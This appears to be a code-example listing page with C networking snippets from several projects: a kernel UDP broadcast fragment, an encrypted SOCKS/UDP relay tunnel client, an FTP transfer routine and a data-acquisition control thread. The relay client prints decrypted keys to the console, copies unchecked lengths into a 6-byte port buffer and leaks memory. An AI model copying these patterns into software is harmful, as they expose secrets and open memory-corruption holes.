        //my_work->addr_send.sin_addr.s_addr = htonl(INADDR_SEND);
	my_work->addr_send.sin_addr.s_addr = in_aton("192.168.123.3");
        my_work->addr_send.sin_port = htons(CONNECT_PORT);
	//sock_set_flag(my_work->sock_send,SOCK_BROADCAST);
	if ((err = my_work->sock_send->ops->bind(my_work->sock_send, (struct sockaddr *)&my_work->addr_send, sizeof(struct sockaddr)) < 0 ))
        {
                printk(KERN_INFO MODULE_NAME": Could not bind or connect to socket, error = %d\n", -err);
                goto close_and_out;
        }
	oldfs=get_fs();
	set_fs(KERNEL_DS);
	set_fs(oldfs);
	//printk(KERN_INFO MODULE_NAME": listening on port %d\n", DEFAULT_PORT);
	//for (;;)
        //{
		//printk(KERN_INFO MODULE_NAME"Inside for loop\n");
                //memset(&buf, 0, bufsize+1);
                //size = receive(my_work->sock, &my_work->addr, buf, bufsize);
		//if (signal_pending(current))
                  //      break;
		//printk("\nsize=%d",size);
                

                        

                        
                        
                        strcpy(tmp_rrep->type, "BROADCAST MESSAGE SENT");
			printk(KERN_INFO MODULE_NAME":String Value:%s",tmp_rrep->type);
                        send(my_work->sock_send, &my_work->addr_send, tmp_rrep, sizeof(rrep));
			kfree(tmp_rrep);
			msleep(500);
        //}

close_and_out:
        sock_release(my_work->sock_send);
        my_work->sock = NULL;
        my_work->sock_send = NULL;

}
예제 #14
0
파일: udpclient.c 프로젝트: eXcomm/mobius
/*
 * Handles a message received from the UDP tunnel. Returns 0 if successful, -1
 * on some error it handled, or -2 if the client is to disconnect.
 */
int handle_message(uint16_t id, uint8_t msg_type,
                   char *data, int data_len,uint32_t sourceid, list_t *clients,list_t *conn_clients)
{
	client_t *c;
	client_t *c2;

	int ret = 0;
	uint16_t req_id;	
	char addrstr[ADDRSTRLEN];
	if(debug_level >= DEBUG_LEVEL2)
		printf("handle msg from %d type %d \n ",sourceid,msg_type);


	switch(msg_type)
	{
		case MSG_TYPE_GOODBYE:
			ret = -2;
			break;

		case MSG_TYPE_HELLOACK:
		{
			char * ptr_de=NULL;
			char * keyfile=malloc(64);
			sprintf(keyfile,"%s.key",lhost);


			req_id = ntohs(*((uint16_t*)data));
			//req_id = ntohs(*((uint16_t*)data));
			data+=sizeof(req_id);	
			data_len-=sizeof(req_id);
			ptr_de=my_rsadecrypt(data,keyfile);
			printf("key is %s",ptr_de);

			if(debug_level >= DEBUG_LEVEL1)
				printf("req id %d ",req_id);
			c = list_get(conn_clients, &req_id);
			if(debug_level >= DEBUG_LEVEL1)
				printf("find client %d \n",CLIENT_ID(c));
			client_got_helloack(c);
			CLIENT_ID(c) = id;
			memcpy(c->deskey,ptr_de,strlen(ptr_de));
			ret = client_send_helloack(c, ntohs(*((uint16_t *)data)));

			if(debug_level >= DEBUG_LEVEL1)
			{
				sock_get_str(c->tcp_sock, addrstr, sizeof(addrstr));
				printf("New connection(%d): tcp://%s", CLIENT_ID(c), addrstr);
				       sock_get_str(c->udp_sock, addrstr, sizeof(addrstr));
				       printf(" -> udp://%s\n", addrstr);
			              }
			c = list_add(clients, c, 1);
			list_delete(conn_clients, &id);
			ret = client_socks5_helloack(c);

			break;
		}
		case MSG_TYPE_DATA0:
		//case MSG_TYPE_DATA1:
			c = list_get(clients, &id);
			ret = client_got_udp_data(c, data, data_len, msg_type);
			if(ret == 0)
				ret = client_send_tcp_data(c);
			break;

		//case MSG_TYPE_ACK0:
		// case MSG_TYPE_ACK1:
			//ret = client_got_ack(c, msg_type);
			//    break;
		case MSG_TYPE_RELAYKEY:
		{			
			client_t *c2;
			if(id != 0)
				break;
			char * ptr_de;
			char * keyfile=malloc(64);
			sprintf(keyfile,"%s.key",lhost);
			c2 = list_get_at(relay_clients, 0);
			//printf("c2->rsakey is %s \n",c2->rsakey);	
			ptr_de=my_rsadecrypt(data,keyfile);
			//printf("relaykey is %s len is %d \n",ptr_de,strlen(ptr_de));			
			memcpy(c2->rsakey,ptr_de,strlen(ptr_de));
			//printf("c2->rsakey is %s \n",c2->rsakey);			
			break;

		}
		case MSG_TYPE_REQACK:
		{
			int i;
			char port[6]; /* need this so port str can have null term. */

			char dst_addrstr[ADDRSTRLEN];

			uint16_t req_id;
			socket_t *intra_sock = NULL;
			
			if(id != 0)
				break;

			char * ptr_de=NULL;
			char * keyfile=malloc(64);
			sprintf(keyfile,"%s.key",lhost);
			ptr_de=my_rsadecrypt(data,keyfile);

			req_id = ntohs(*((uint16_t*)ptr_de));
			ptr_de += sizeof(uint16_t);			

			int ptr_len=strlen(ptr_de);
			if (ptr_len>20)
				break;
			//printf("ptr_len %d \n",ptr_len);
			/* look for the space separating the host and port */
			for(i = 0; i < ptr_len; i++)
				if(ptr_de[i] == ' ')
				break;
			if(i == ptr_len)
				break;

			/* null terminate the host and get the port number to the string */
			ptr_de[i++] = 0;
			strncpy(port, ptr_de+i, ptr_len-i);
			port[ptr_len-i] = 0;
			//printf("req_id %d,host %s, port %s \n",req_id,ptr_de,port);
			intra_sock = sock_create(ptr_de, port, ipver, SOCK_TYPE_UDP, 0, 1);
			ERROR_GOTO(intra_sock == NULL, "Error creating udp socket", error);		

			if(debug_level >= DEBUG_LEVEL1)
			{
				sock_get_str(intra_sock, dst_addrstr,
				             sizeof(dst_addrstr));
				printf("intra server:%s\n", dst_addrstr);
			}
			//printf("relays need %d \n",relays);
			msg_send_reqrelay(intra_sock, lhost, rport, 0,localid,sourceid,relays);		
			break;
		}

		case MSG_TYPE_RELAYACK:
		{
			int i;
			char port[6]; /* need this so port str can have null term. */
			uint8_t exp;
			char dst_addrstr[ADDRSTRLEN];
			socket_t *tcp_sock = NULL;
			uint16_t req_id;

			if(id != 0)
				break;

			char * ptr_de=NULL;
			char * keyfile=malloc(64);
			sprintf(keyfile,"%s.key",lhost);
			ptr_de=my_rsadecrypt(data,keyfile);

			req_id = ntohs(*((uint16_t*)ptr_de));
			ptr_de += sizeof(uint16_t);
			exp = *((uint8_t*)ptr_de);
			ptr_de += sizeof(uint8_t);

			int ptr_len=strlen(ptr_de);
			if (ptr_len>20)
				break;
			//printf("ptr_len %d \n",ptr_len);
			/* look for the space separating the host and port */
			for(i = 0; i < ptr_len; i++)
				if(ptr_de[i] == ' ')
				break;
			if(i == ptr_len)
				break;

			/* null terminate the host and get the port number to the string */
			ptr_de[i++] = 0;
			strncpy(port, ptr_de+i, ptr_len-i);
			port[ptr_len-i] = 0;
			//printf("req_id %d,host %s, port %s \n",req_id,ptr_de,port);
			tcp_sock = sock_create(ptr_de, port, ipver, SOCK_TYPE_UDP, 0, 1);
			ERROR_GOTO(tcp_sock == NULL, "Error creating udp socket", error);
			
			if (0<LIST_LEN(relay_clients))
			{
				c2 = list_get_at(relay_clients, i);	
				c2->tcp_sock=tcp_sock;										
			}
			else	
			{
				c = client_create(1, sourceid, tcp_sock,udp_serv,0);
				ERROR_GOTO(c == NULL, "Error creating client", error);			
				c2 = list_add(relay_clients, c, 1);	
				printf("added relay_cleints id %d\n",sourceid);
				ERROR_GOTO(c2 == NULL, "Error adding client to list", error);
			}	
			if(debug_level >= DEBUG_LEVEL1)
			{

				sock_get_str(CLIENT_TCP_SOCK(c2), dst_addrstr,
				             sizeof(dst_addrstr));
				printf("tunnel %d nexthop:%s\n",
				       sourceid,  dst_addrstr);
			}


			break;			 
		}

		default:
			ret = -1;
			break;
	}


	return ret;
	error:
		return -1;
}
예제 #15
0
파일: ftpsend.c 프로젝트: casualuser/yafc
static int ftp_init_transfer(void)
{
	struct sockaddr_storage sa;
	unsigned char *a, *p;

	if(!ftp_connected())
		return -1;

	if (!(ftp->data = sock_create())) {
		return -1;
	}
	sock_copy(ftp->data, ftp->ctrl);

	if (ftp_is_passive())
  {
    memcpy(&sa, sock_remote_addr(ftp->ctrl), sizeof(struct sockaddr_storage));

    unsigned char pac[6];
    unsigned short ipv6_port;
		if (!ftp_pasv(sa.ss_family != AF_INET, pac, &ipv6_port))
			goto err1;

    socklen_t len = sizeof(struct sockaddr_in);
    if (sa.ss_family == AF_INET)
    {
      memcpy(&((struct sockaddr_in*)&sa)->sin_addr, pac, (size_t)4);
		  memcpy(&((struct sockaddr_in*)&sa)->sin_port, pac+4, (size_t)2);
    }
#ifdef HAVE_IPV6
    else if (sa.ss_family == AF_INET6)
    {
      ((struct sockaddr_in6*)&sa)->sin6_port = htons(ipv6_port);
      len = sizeof(struct sockaddr_in6);
    }
#endif
    else
      return -1;

    struct sockaddr_storage tmp;
    memcpy(&tmp, sock_remote_addr(ftp->ctrl), sizeof(struct sockaddr_storage));
		if (is_reserved((struct sockaddr*) &sa) ||
			   is_multicast((struct sockaddr*) &sa)  ||
			   (is_private((struct sockaddr*) &sa) != is_private((struct sockaddr*) &tmp)) ||
			   (is_loopback((struct sockaddr*) &sa) != is_loopback((struct sockaddr*) &tmp)))
		{
			// Invalid address returned by PASV. Replace with address from control
			// socket.
			ftp_err(_("Address returned by PASV seems to be incorrect.\n"));
			((struct sockaddr_in*)&sa)->sin_addr = ((struct sockaddr_in*)&tmp)->sin_addr;
		}

		if (!sock_connect_addr(ftp->data, (struct sockaddr*) &sa, len))
    {
      perror("connect()");
			goto err1;
    }
	} else {
    const struct sockaddr* local = sock_local_addr(ftp->data);
		sock_listen(ftp->data, local->sa_family);

    if (local->sa_family == AF_INET)
    {
      struct sockaddr_in* tmp = (struct sockaddr_in*)local;
  		a = (unsigned char *)&tmp->sin_addr;
	  	p = (unsigned char *)&tmp->sin_port;

		  ftp_set_tmp_verbosity(vbError);
		  ftp_cmd("PORT %d,%d,%d,%d,%d,%d",
				  a[0], a[1], a[2], a[3], p[0], p[1]);
    }
#ifdef HAVE_IPV6
    else if (local->sa_family == AF_INET6)
    {
      char* addr = printable_address(local);

      ftp_set_tmp_verbosity(vbError);
		  ftp_cmd("EPRT |2|%s|%u", addr, ntohs(((struct sockaddr_in6*)local)->sin6_port));
      free(addr);
    }
#endif
    else
      goto err1;

		if(ftp->code != ctComplete)
			goto err1;
	}

	sock_throughput(ftp->data);

	return 0;

 err1:
	sock_destroy(ftp->data);
	ftp->data = 0;
	return -1;
}
예제 #16
0
파일: udpclient.c 프로젝트: eXcomm/mobius
int udpclient(int argc, char *argv[])
{

	list_t *clients = NULL;
	list_t *conn_clients;
	client_t *client;
	client_t *tunnel;
	client_t *client2;

	char data[MSG_MAX_LEN];
	char addrstr[ADDRSTRLEN];
	char taddrstr[ADDRSTRLEN];

	socket_t *tcp_sock = NULL;
	socket_t *udp_sock = NULL;
	socket_t *next_sock = NULL;

	struct timeval curr_time;
	struct timeval check_time;
	struct timeval check_interval;
	struct timeval timeout;
	fd_set client_fds;
	fd_set read_fds;
	uint16_t tmp_id;
	uint8_t tmp_type;
	uint16_t tmp_len;
	// uint16_t tmp_req_id;
	int num_fds;
	uint32_t sourceid;



	int ret;
	int i;

	signal(SIGINT, &signal_handler);

	i = 0;    
	lhost = (argc - i == 5) ? NULL : argv[i++];
	lport = argv[i++];
	rport = argv[i++];
	phost = argv[i++];
	pport = argv[i++];
	relays = atoi(argv[i++]);
	if(debug_level >= DEBUG_LEVEL1)
		printf("relays need %d \n",relays);


	/* Check validity of ports (can't check ip's b/c might be host names) */

	ERROR_GOTO(!isnum(lport), "Invalid listen port.", done);

	ERROR_GOTO(!isnum(rport), "Invalid recv port.", done);

	ERROR_GOTO(!isnum(pport), "Invalid inter port.", done);
	//ERROR_GOTO(!isnum(rport), "Invalid remote port.", done);

	srand(inet_addr(lhost));
	localid=(rand());
	generate_rsakey(lhost);
	if(debug_level >= DEBUG_LEVEL1)
	{
		printf("local id %d \n",localid);
	}
	next_req_id = rand() % 0xffff;

	/* Create an empty list for the clients */
	clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy,
	                      p_client_free, 1);
	ERROR_GOTO(clients == NULL, "Error creating clients list.", done);

	/* Create and empty list for the connecting clients */
	conn_clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy,
	                           p_client_free, 1);
	ERROR_GOTO(conn_clients == NULL, "Error creating conn_clients list.", done);

	relay_clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy,
	                            p_client_free, 1);
	ERROR_GOTO(relay_clients == NULL, "Error creating clients list.", done);

	/* Create a TCP server socket to listen for incoming connections */
	tcp_serv = sock_create(lhost, lport, ipver, SOCK_TYPE_TCP, 1, 1);

	ERROR_GOTO(tcp_serv == NULL, "Error creating TCP socket.", done);
	udp_serv = sock_create(lhost, rport,ipver, SOCK_TYPE_UDP, 1, 1);
	ERROR_GOTO(udp_serv == NULL, "Error creating TCP socket.", done);
	if(debug_level >= DEBUG_LEVEL1)
	{
		printf("Listening on TCP %s,UDP %s \n",
		       sock_get_str(tcp_serv, addrstr, sizeof(addrstr)),sock_get_str(udp_serv, taddrstr, sizeof(taddrstr)));
	}
	next_sock = sock_create(phost, pport, ipver, SOCK_TYPE_UDP, 0, 1);

	msg_send_req(next_sock,lhost,rport,0,localid);	   
	sock_free(next_sock);		
	next_sock = NULL;		

	FD_ZERO(&client_fds);

	/* Initialize all the timers */
	timerclear(&timeout);
	check_interval.tv_sec = 0;
	check_interval.tv_usec = 500000;
	gettimeofday(&check_time, NULL);


	while(running)
	{
		if(!timerisset(&timeout))
			timeout.tv_usec = 50000;

		read_fds = client_fds;
		FD_SET(SOCK_FD(tcp_serv), &read_fds);
		FD_SET(SOCK_FD(udp_serv), &read_fds);

		ret = select(FD_SETSIZE, &read_fds, NULL, NULL, &timeout);
		PERROR_GOTO(ret < 0, "select", done);
		num_fds = ret;

		gettimeofday(&curr_time, NULL);

		/* Go through all the clients and check if didn't get an ACK for sent
		 data during the timeout period */
		if(timercmp(&curr_time, &check_time, >))
		{
			for(i = 0; i < LIST_LEN(clients); i++)
			{
				client = list_get_at(clients, i);

				ret = client_check_and_resend(client, curr_time);
				if(ret == -2)
				{
					disconnect_and_remove_client(CLIENT_ID(client), clients,
					                             &client_fds, 1);
					i--;
					continue;
				}

				ret = client_check_and_send_keepalive(client, curr_time);
				if(ret == -2)
				{
					disconnect_and_remove_client(CLIENT_ID(client), clients,
					                             &client_fds, 1);
					i--;
				}
			}

			timeradd(&curr_time, &check_interval, &check_time);
		}

		if(num_fds == 0)
			continue;

		/* Check if pending TCP connection to accept and create a new client
		 and UDP connection if one is ready */
		if(FD_ISSET(SOCK_FD(tcp_serv), &read_fds))
		{
			tcp_sock = sock_accept(tcp_serv);
			if(tcp_sock == NULL)
				continue;
			if(SelectMethod(tcp_sock->fd)==-1)
			{ 
				if(debug_level >= DEBUG_LEVEL1)
					printf("socks version error\n");
				return-1;
			}
			rhost=ParseCommand(tcp_sock->fd);
			if (0<LIST_LEN(relay_clients))
			{

				tunnel = list_get_at(relay_clients, 0);

				udp_sock =sock_copy(CLIENT_TCP_SOCK(tunnel));

				SOCK_FD(udp_sock)=socket(AF_INET, SOCK_DGRAM, 0); 					
			}

			if(udp_sock == NULL)
			{
				sock_close(tcp_sock);
				sock_free(tcp_sock);
				continue;
			}

			client = client_create(next_req_id++, localid, tcp_sock, udp_sock, 1);
			memcpy(client->rsakey,tunnel->rsakey,strlen(tunnel->rsakey));

			printf("expid rsakey is %s",client->rsakey);
			if(debug_level >= DEBUG_LEVEL1)
				printf("create client id %d \n",CLIENT_ID(client));
			if(!client || !tcp_sock || !udp_sock)
			{
				if(tcp_sock)
					sock_close(tcp_sock);
				if(udp_sock)
					sock_close(udp_sock);
			}
			else
			{
				client2 = list_add(conn_clients, client, 1);
				client_free(client);
				client = NULL;
				if(debug_level >= DEBUG_LEVEL1)
				{
					sock_get_str(CLIENT_TCP_SOCK(client2), addrstr,
					             sizeof(addrstr));				
					printf("tunnel(%d): local %s ",client2->sourceid, addrstr);
					sock_get_str(CLIENT_UDP_SOCK(client2), addrstr,
					             sizeof(addrstr));
					printf("to %s \n",addrstr);
				}
				client_send_hello(client2,rhost,CLIENT_ID(client2));
				client_add_tcp_fd_to_set(client2, &client_fds);
				//client_add_udp_fd_to_set(client2, &client_fds);
			}

			sock_free(tcp_sock);
			sock_free(udp_sock);
			tcp_sock = NULL;
			udp_sock = NULL;

			num_fds--;
		}

		/* Check for UDP data */
		if(FD_ISSET(SOCK_FD(udp_serv), &read_fds))
		{


			//ret = client_recv_udp_msg(client, data, sizeof(data),
			//                          &tmp_id, &tmp_type, &tmp_len,&sourceid);
			ret = msg_recv_msg(udp_serv, data, sizeof(data),
			                   &tmp_id, &tmp_type, &tmp_len,&sourceid);

			if(debug_level >= DEBUG_LEVEL2)
				printf("recv msg from %d type %d %d bytes \n ",sourceid,tmp_type,tmp_len);
			if(ret == 0)
				ret = handle_message(tmp_id, tmp_type,
				                     data, tmp_len,sourceid,clients, conn_clients);
			/*if(ret < 0)
			{

				disconnect_and_remove_client(tmp_id, clients,
				                             &client_fds, 1);

		}	*/		
		}

		/* Check if data is ready from any of the clients */
		for(i = 0; i < LIST_LEN(clients); i++)
		{
			client = list_get_at(clients, i);



			/* Check for TCP data */
			if(num_fds > 0 && client_tcp_fd_isset(client, &read_fds))
			{
				ret = client_recv_tcp_data(client);
				if(ret == -1)
				{
					disconnect_and_remove_client(CLIENT_ID(client), clients,
					                             &client_fds, 1);
					i--;
					continue;
				}
				else if(ret == -2)
				{
					client_mark_to_disconnect(client);
					disconnect_and_remove_client(CLIENT_ID(client),
					                             clients, &client_fds, 0);
				}

				num_fds--;
			}

			/* send any TCP data that was ready */
			ret = client_send_udp_data(client);
			if(ret < 0)
			{
				disconnect_and_remove_client(CLIENT_ID(client), clients,
				                             &client_fds, 1);
				i--;
			}
		}

		/* Finally, send any udp data that's still in the queue */
		for(i = 0; i < LIST_LEN(clients); i++)
		{
			client = list_get_at(clients, i);
			ret = client_send_udp_data(client);

			if(ret < 0 || client_ready_to_disconnect(client))
			{
				disconnect_and_remove_client(CLIENT_ID(client), clients,
				                             &client_fds, 1);
				i--;
			}
		}
	}

	done:
		if(debug_level >= DEBUG_LEVEL1)
			printf("Cleaning up...\n");
		if(tcp_serv)
	{
		sock_close(tcp_serv);
		sock_free(tcp_serv);
	}
		if(udp_serv)
	{
		sock_close(udp_serv);
		sock_free(udp_serv);
	}
		if(clients)
			list_free(clients);
		if(conn_clients)
			list_free(conn_clients);
		if(debug_level >= DEBUG_LEVEL1)
			printf("Goodbye.\n");
		return 0;
}
예제 #17
0
/*
 *  Thread to control the acquisition of data, allows only 1 connection at a time
 */
void control_thread (void * arg) 
{

  udpdb_t * ctx = (udpdb_t *) arg;

  if (ctx->verbose)
    multilog(ctx->log, LOG_INFO, "control_thread: starting\n");

  // port on which to listen for control commands
  int port = ctx->control_port;

  // buffer for incoming command strings
  int bufsize = 1024;
  char* buffer = (char *) malloc (sizeof(char) * bufsize);
  assert (buffer != 0);

  const char* whitespace = " \r\t\n";
  char * command = 0;
  char * args = 0;
  //time_t utc_start = 0;

  FILE *sockin = 0;
  FILE *sockout = 0;
  int listen_fd = 0;
  int fd = 0;
  char *rgot = 0;
  int readsocks = 0;
  fd_set socks;
  struct timeval timeout;

  // create a socket on which to listen
  if (ctx->verbose)
    multilog(ctx->log, LOG_INFO, "control_thread: creating socket on port %d\n", port);

  listen_fd = sock_create (&port);
  if (listen_fd < 0)  {
    multilog(ctx->log, LOG_ERR, "Failed to create socket for control commands: %s\n", strerror(errno));
    free (buffer);
    return;
  }

  while (!quit_threads) {

    // reset the FD set for selecting  
    FD_ZERO(&socks);
    FD_SET(listen_fd, &socks);
    timeout.tv_sec = 1;
    timeout.tv_usec = 0;

    readsocks = select(listen_fd+1, &socks, (fd_set *) 0, (fd_set *) 0, &timeout);

    // error on select
    if (readsocks < 0) 
    {
      perror("select");
      exit(EXIT_FAILURE);
    }

    // no connections, just ignore
    else if (readsocks == 0) 
    {
    } 

    // accept the connection  
    else 
    {
   
      if (ctx->verbose) 
        multilog(ctx->log, LOG_INFO, "control_thread: accepting conection\n");

      fd =  sock_accept (listen_fd);
      if (fd < 0)  {
        multilog(ctx->log, LOG_WARNING, "control_thread: Error accepting "
                                        "connection %s\n", strerror(errno));
        break;
      }

      sockin = fdopen(fd,"r");
      if (!sockin)
        multilog(ctx->log, LOG_WARNING, "control_thread: error creating input "
                                        "stream %s\n", strerror(errno));


      sockout = fdopen(fd,"w");
      if (!sockout)
        multilog(ctx->log, LOG_WARNING, "control_thread: error creating output "
                                        "stream %s\n", strerror(errno));

      setbuf (sockin, 0);
      setbuf (sockout, 0);

      rgot = fgets (buffer, bufsize, sockin);

      //if (rgot && !feof(sockin)) {
      while (rgot && !feof(sockin)) {

        buffer[strlen(buffer)-2] = '\0';

        args = buffer;

        // parse the command and arguements
        command = strsep (&args, whitespace);

        if (ctx->verbose)
        {
          multilog(ctx->log, LOG_INFO, "control_thread: command=%s\n", command);
          if (args != NULL)
            multilog(ctx->log, LOG_INFO, "control_thread: args=%s\n", args);
        }

        // REQUEST STATISTICS
        if (strcmp(command, "STATS") == 0) 
        {
          fprintf (sockout, "mb_rcv_ps=%4.1f,mb_drp_ps=%4.1f,"
                            "ooo_pkts=%"PRIu64",mb_free=%4.1f,mb_total=%4.1f\r\n", 
                             ctx->mb_rcv_ps, ctx->mb_drp_ps, 
                             ctx->ooo_packets, ctx->mb_free, ctx->mb_total);
          fprintf (sockout, "ok\r\n");
        }

        else if (strcmp(command, "SET_UTC_START") == 0)
        {
          if (ctx->verbose)
            multilog(ctx->log, LOG_INFO, "control_thread: SET_UTC_START command received\n");
          if (args == NULL)
          {
            multilog(ctx->log, LOG_ERR, "control_thread: no time specified for SET_UTC_START\n");
            fprintf(sockout, "fail\r\n");
          }
          else
          {
            time_t utc = str2utctime (args);
            if (utc == (time_t)-1)
            {
              multilog(ctx->log, LOG_WARNING, "control_thread: could not parse "
                       "UTC_START time from %s\n", args);
              fprintf(sockout, "fail\r\n");
            }
            else
            {
              if (ctx->verbose)
                multilog(ctx->log, LOG_INFO, "control_thread: parsed UTC_START as %d\n", utc);

	      // set global utc_start to parsed value, used when START command arrives
              utc_start = utc;
              fprintf(sockout, "ok\r\n");
              multilog(ctx->log, LOG_INFO, "set_utc_start %s\n", args);
            }
          }
        }

        // START COMMAND
        else if (strcmp(command, "START") == 0) {

          if (ctx->verbose)
            multilog(ctx->log, LOG_INFO, "control_thread: START command received\n");

          start_pending = 1;
          while (recording != 1) 
          {
            //sleep(1);
            usleep(100000);
          }
          start_pending = 0;
          fprintf(sockout, "ok\r\n");

          if (ctx->verbose)
            multilog(ctx->log, LOG_INFO, "control_thread: recording started\n");
        }

        // FLUSH COMMAND - stop acquisition of data, but flush all packets already received
        else if (strcmp(command, "FLUSH") == 0)
        {
          if (ctx->verbose)
            multilog(ctx->log, LOG_INFO, "control_thread: FLUSH command received, stopping recording\n");

          stop_pending = 1;
          while (recording != 0)
          {
            sleep(1);
          }
          stop_pending = 0;
          fprintf(sockout, "ok\r\n");

          if (ctx->verbose)
            multilog(ctx->log, LOG_INFO, "control_thread: recording stopped\n");
        }

        // UTC_STOP command
        else if (strcmp(command, "UTC_STOP") == 0)
        {
          if (ctx->verbose)
            multilog(ctx->log, LOG_INFO, "control_thread: UTC_STOP command received\n");

          if (args == NULL) 
          {
            multilog(ctx->log, LOG_ERR, "control_thread: no UTC specified for UTC_STOP\n");
            fprintf(sockout, "fail\r\n");
          }
          else
          {
            time_t utc = str2utctime (args);
            if (utc == (time_t)-1) 
            {
              multilog(ctx->log, LOG_WARNING, "control_thread: could not parse "
                       "UTC_STOP time from %s\n", args);
              fprintf(sockout, "fail\r\n");
            }
            else
            {
              if (ctx->verbose)
                multilog(ctx->log, LOG_INFO, "control_thread: parsed UTC_STOP as %d\n", utc); 
              uint64_t byte_to_stop = (utc - utc_start);
              byte_to_stop *= 800 * 1000 * 1000;
              if (ctx->verbose)
                multilog(ctx->log, LOG_INFO, "control_thread: total_secs=%d, "
                         "stopping byte=%"PRIu64"\n", (utc - utc_start), byte_to_stop);
              stop_byte = byte_to_stop;
              stop_pending = 0;
              utc_start = 0;
              fprintf(sockout, "ok\r\n");
              multilog(ctx->log, LOG_INFO, "utc_stop %s\n", args);
            }
          }
        }

        // STOP command, stops immediately
        else if (strcmp(command, "STOP") == 0)
        {
          if (ctx->verbose)
            multilog(ctx->log, LOG_INFO, "control_thread: STOP command received, stopping immediately\n");

          stop_pending = 2;
          stop_byte = (ctx->last_byte > 0) ? ctx->last_byte : 1;
          while (recording != 0)
          {
            sleep(1);
          }
          stop_pending = 0;
          fprintf(sockout, "ok\r\n");

          if (ctx->verbose)
            multilog(ctx->log, LOG_INFO, "control_thread: recording stopped\n");
        }


        // QUIT COMMAND, immediately exit 
        else if (strcmp(command, "QUIT") == 0) 
        {
          multilog(ctx->log, LOG_INFO, "control_thread: QUIT command received, exiting\n");
          quit_threads = 1;
          fprintf(sockout, "ok\r\n");
          close(fd);
          break;
        }

        // UNRECOGNISED COMMAND
        else 
        {
          multilog(ctx->log, LOG_WARNING, "control_thread: unrecognised command: %s\n", buffer);
          fprintf(sockout, "fail\r\n");
        }
        // try to read the next line of input
        rgot = fgets (buffer, bufsize, sockin);
      }
      close(fd);
    }

    //close(fd);
  }
  close(listen_fd);

  free (buffer);

  if (ctx->verbose)
    multilog(ctx->log, LOG_INFO, "control_thread: exiting\n");

}